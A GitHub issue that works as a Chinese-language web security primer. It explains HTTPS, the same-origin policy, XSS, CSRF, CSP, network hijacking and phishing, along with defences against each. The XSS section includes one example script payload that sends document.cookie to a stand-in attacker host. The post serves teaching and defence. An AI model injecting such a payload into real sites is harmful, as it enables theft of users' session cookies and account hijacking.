Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

网络安全 #3

Open
WisestCoder opened this issue Feb 1, 2018 · 0 comments
Open

网络安全 #3

WisestCoder opened this issue Feb 1, 2018 · 0 comments

Comments

@WisestCoder
Copy link
Owner

WisestCoder commented Feb 1, 2018

网络安全

开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。

借用某腾讯工程师说的话,一个网站的建立,必须防范所有可能受到的网站攻击,这就涉及了网络安全,接下来从以下几个角度入手,帮助大家构建更加安全的 Web 应用。

使用HTTPS

HTTPS 即 HTTP over SSL/TLS,是 HTTP 的安全版本,在 HTTP 上加了一层处理加密信息的模块。 SSL/TLS 全称安全传输层协议 Transport Layer Security, 是介于 TCP 和 HTTP 之间的一层安全协议,不影响原有的 TCP 协议和 HTTP 协议,所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。浏览器访问支持 HTTPS 的站点时,在地址栏的前面会有一把绿色的锁一样的标识,表明 HTTPS 生效了。

image

要想简单明了的弄懂https原理,可以看这篇文章:HTTPS 的故事

HTTPS 的主要作用

  1. 对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全;
  2. 对网站服务器进行真实身份认证。

SSL/TLS 协议采用非对称加密方式,服务端会生成公钥和私钥,公钥用来加密信息,可以提供给所有需要进行通信的客户端,私钥保存在本地,不能泄露。客户端使用这份公钥对信息进行加密,将请求发送给服务器,服务器用私钥解密。反之,服务器对客户端的返回,则使用客户端提供的公钥进行加密,客户端使用本地对应的私钥来解密,保证了通信的安全。

基于 SSL/TLS 进行 一次的 HTTPS 会话的过程,简单地说可以分成3步

  1. 客户端向服务器端索要并验证公钥。
  2. 双方协商生成"对话密钥"。
  3. 双方采用"对话密钥"进行加密通信。

HTTPS 服务器拥有一张数字证书,包含了经过认证的网站公钥和一些元数据,客户端和服务端通信时,会首先验证证书的有效性,来决定是否继续通信。这样一来,经过了身份认证、信息加密等步骤,网络通信安全就得到了保障。

使用https有哪些好处呢?

HTTP 协议采用明文传输信息,存在信息窃听、信息篡改和信息劫持的风险,使用 HTTPS 则有以下几个方面的优势:

保护站点安全

HTTPS 的通信信息都是加密传播,第三方无法窃听,且具有校验机制,一旦信息被篡改,通信双方就能立刻发现,这样就能够有效防止入侵者篡改网络通信内容。这些入侵者包括但不局限于恶意攻击者,合法但极具威胁的竞争对手,通信运营商等等。特别是在国内,运营商劫持插入广告信息的现象早已屡见不鲜,这些都能通过升级 HTTPS 来规避。

保护用户隐私

如果单纯地认为,只有涉及到敏感数据的网站才需要升级 HTTPS,那就大错特错了。事实上每一个不受保护的 HTTP 请求都有暴露用户行为、用户身份的风险。虽然这些单个请求看起来没有什么敏感信息,也不能造成什么损失,但攻击者可以长期监视用户的浏览活动,通过收集大量数据推断用户的行为、地理位置、生活习惯等,从而造成用户的隐私信息泄露。

未来的趋势所在

将 Web 应用升级成为 HTTPS 是大势所趋,HTTPS 可以保障站点的安全、保护用户的隐私。随着 Web 应用平台的多元化发展,拍照、视频等功能都需要较高的用户权限许可,而使用 service worker 启用离线应用功能、构建 PWA 应用等已经将 HTTPS 视为必要条件。Google 早就倡议所有的 Web 站点都应该使用 HTTPS, 而且将 HTTPS 站点的搜索结果排名权重进行提升,想必在未来,这也是促进站长将站点进行 HTTPS 化的一个重要理由。

同源策略

浏览器的同源策略是 Web 安全的基石,它对从一个源加载的文档或脚本如何与来自另一个源的资源进行交互做出了限制。这是一个用于隔离潜在恶意文件的关键的安全机制,每个源均与其余网络保持隔离,从而为开发者提供一个可进行构建和操作的安全沙盒。

如果没有同源策略, Web 世界就变得非常不安全,拿浏览器中的 cookie 来说,当你登录 a 网站,同时打开 b 网站,b 网站能获取你 a 网站的 cookie,盗取你的身份凭证进行非法操作。

同源策略只是一个规范,虽然并没有指定其具体的使用范围和实现方式,但各个浏览器厂商都针对同源策略做了自己的实现。

同源的定义:如果协议,端口和主机对于两个页面是相同的,则两个页面具有相同的源。

例如,相对于http://www.example.com/dir/page.html,同源情况如下:

地址 结果
http://www.example.com/dir2/other.html 同源
http://v2.www.example.com/dir/other.html 不同源(主机不同)
https://www.example.com/dir/other.html 不同源(协议不同)
http://www.example.com:81/dir/other.html 不同源(端口不同)

更改源

页面可以更改自己的源,但会受到一些限制。比如,可以使用 document.domain 来设置子域的 domain 值,允许其安全访问其父域。例如:

可以在 http://child.company.com/dir/a.html 中执行:

document.domain = 'company.com';

页面将与 http://company.com/dir/b.html 处于相同的域。但是,试图给 company.com 设置 document.domainanotherCompany.com 是不可行的。

注意 浏览器的端口号是单独保存的,在给 document.domain 赋值时,如果不指明端口号,默认会以 null 值覆盖掉原来的端口号。

一些内嵌资源不受限制

  • <script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • <link rel="stylesheet" href="..."> 标签嵌入CSS。
  • <img> 嵌入图片。
  • <video><audio> 嵌入多媒体资源。
  • <object>, <embed><applet>的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • 和 <iframe>载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

限制范围

非同源的网站,主要有3种行为受到限制:

  1. 无法共享 cookie, localStorage, indexDB
  2. 无法操作彼此的 DOM 元素
  3. 无法发送 Ajax 请求

同源策略做了很严格的限制,但在实际的场景中,又确实有很多地方需要突破同源策略的限制,也就是我们常说的跨域。

规避上述限制,实现跨域通信的解决方案有多种,如 CORSJSONP,使用 window.name,使用window.postMessage 等,这里就不一一展开讲了。

典型的安全漏洞

Web 典型的安全漏洞种类很多,如 XSS, CSRF, SQL注入,Cross IFrame Trick, clickJacking, 文件上传 等等。下面列举两种客户端常见的安全漏洞。

XSS

XSS (Cross Site Scripting),跨站脚本攻击。为了和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做 XSS。攻击者往 Web 页面里注入恶意代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取 cookie 信息、会话劫持、改变网页内容、恶意跳转等各种攻击。XSS 是常见的 Web 攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被 OWASP 列为当前的头号 Web 安全威胁。

举一个简单的例子

在 a.com 的搜索输入框中输入如下内容,并提交请求

<script>location.href=http://www.bad.com/?cookie=document.cookie</script>

如果前端没有进行过滤,浏览器地址可能变为:

http://www.a.com/?query=<script>location.href=http://www.bad.com/?cookie=document.cookie</script>

此时,用户的 cookie 信息已经被发送到攻击者的服务器,攻击者便能利用收集的 cookie 信息来伪造用户身份,进行多种恶意非法操作。

XSS 攻击类型一般分为三种:

  • 反射型 XSS
    反射型 XSS 只是简单的把用户输入的数据“反射”给浏览器,XSS 脚本出现在 URL 请求参数里,也就是说需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型 XSS 也叫作非持久型 XSS。

  • 储存型 XSS
    存储型 XSS 也被称为持久型 XSS,当攻击者输入一段恶意脚本后,被服务端接受保存,当用户访问这个页面时,恶意脚本就会被执行,从而造成漏洞。

  • DOM Based XSS
    基于 DOM 的 XSS,通过对具体 DOM 代码进行分析,根据实际情况构造 DOM 节点进行 XSS 跨站脚本攻击。

对于 XSS 攻击,我们可以做如下防范:

  1. 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email 格式,电话号码格式等等。同时,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。

  2. 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范 XSS 攻击。输出 HTML 属性时可以使用 HTML 转义编码(HTMLEncode)进行处理,输出到页面脚本代码中,可以相应进行 Javascript encode 处理。

  3. HttpOnly Cookie。预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息。

WAF(Web Application Firewall),Web 应用防火墙,主要的功能是防范诸如网页木马、XSS 以及 CSRF 等常见的 Web 漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。

CSRF

CSRF (Cross Site Request Forgery),即跨站请求伪造。简单的理解是,攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账等,造成个人隐私泄露,财产损失。

举个例子,受害者用户登录网站 A,输入个人信息,在本地保存服务器生成的 cookie。攻击者构建一条恶意链接,例如对受害者在网站 A 的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页 B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的 cookie 到网址 A,A 网站收到 cookie,以为是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。

image

对于 CSRF 攻击,我们可以做如下防范:

  1. 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制 CSRF 攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。

  2. Referer Check。HTTP Referer 是 header 的一部分,当浏览器向 Web 服务器发送请求时,一般会带上 Referer 信息告诉服务器是从哪个页面链接过来的,服务器以此可以获得一些信息用于处理。可以通过检查请求的来源来防御 CSRF 攻击。正常请求的 referer 具有一定规律,如在提交表单的 referer 必定是在该页面发起的请求。所以通过检查 http 包头 referer 的值是不是这个页面,来判断是不是 CSRF 攻击。

  3. Anti CSRF Token。目前比较完善的解决方案是加入 Anti-CSRF-Token,即发送请求时在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器建立一个拦截器来验证这个 token。服务器读取浏览器当前域 cookie 中这个 token 值,会进行校验该请求当中的 token 和 cookie 当中的 token 值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。

CSP

CSP(Content Security Policy) 即内容安全策略,主要目标是减少、并有效报告 XSS 攻击,其实质就是让开发者定制一份白名单,告诉浏览器允许加载、执行的外部资源。即使攻击者能够发现可从中注入脚本的漏洞,由于脚本不在白名单之列,浏览器也不会执行该脚本,从而达到了降低客户端遭受 XSS 攻击风险和影响的目的。

默认配置下,CSP 甚至不允许执行内联代码 (<script> 块内容,内联事件,内联样式),以及禁止执行eval(), setTimeout 和 setInterval。为什么要这么做呢?因为制定来源白名单依旧无法解决 XSS 攻击的最大威胁:内联脚本注入。浏览器无法区分合法内联脚本与恶意注入的脚本,所以通过默认禁止内联脚本来有效解决这个问题。

事实上我们并不推荐使用内联脚本混合的开发方式,使用外部资源,浏览器更容易缓存,对开发者也容易阅读理解,并且有助于编译和压缩。当然,如果不得不需要内联脚本和样式,可以通过设置 unsafe-inline,来解除这一限制。

网络劫持攻击

很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi,如果这个wifi是黑客所建立的热点wifi,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。

如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

钓鱼

钓鱼也是一种非常古老的攻击方式了,我相信很多人会有这样的经历,QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的连接。打开之后发现一个QQ登录框,其实一看域名就知道不是QQ,不过做得非常像QQ登录,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登录到QQ,用户名和密码却给人发过去了。

说白了,钓鱼网站就是非常逼真的假冒伪劣网站。

重点在于我们比较难防住这种攻击,我们并不能将所有的页面链接都使用js打开。所以,要么就将外链跳转的连接改为当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面所有的跳转均改为window.open,在打开时,跟大多数钓鱼防治殊途同归的一点是,我们需要用户的安全意识提高。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant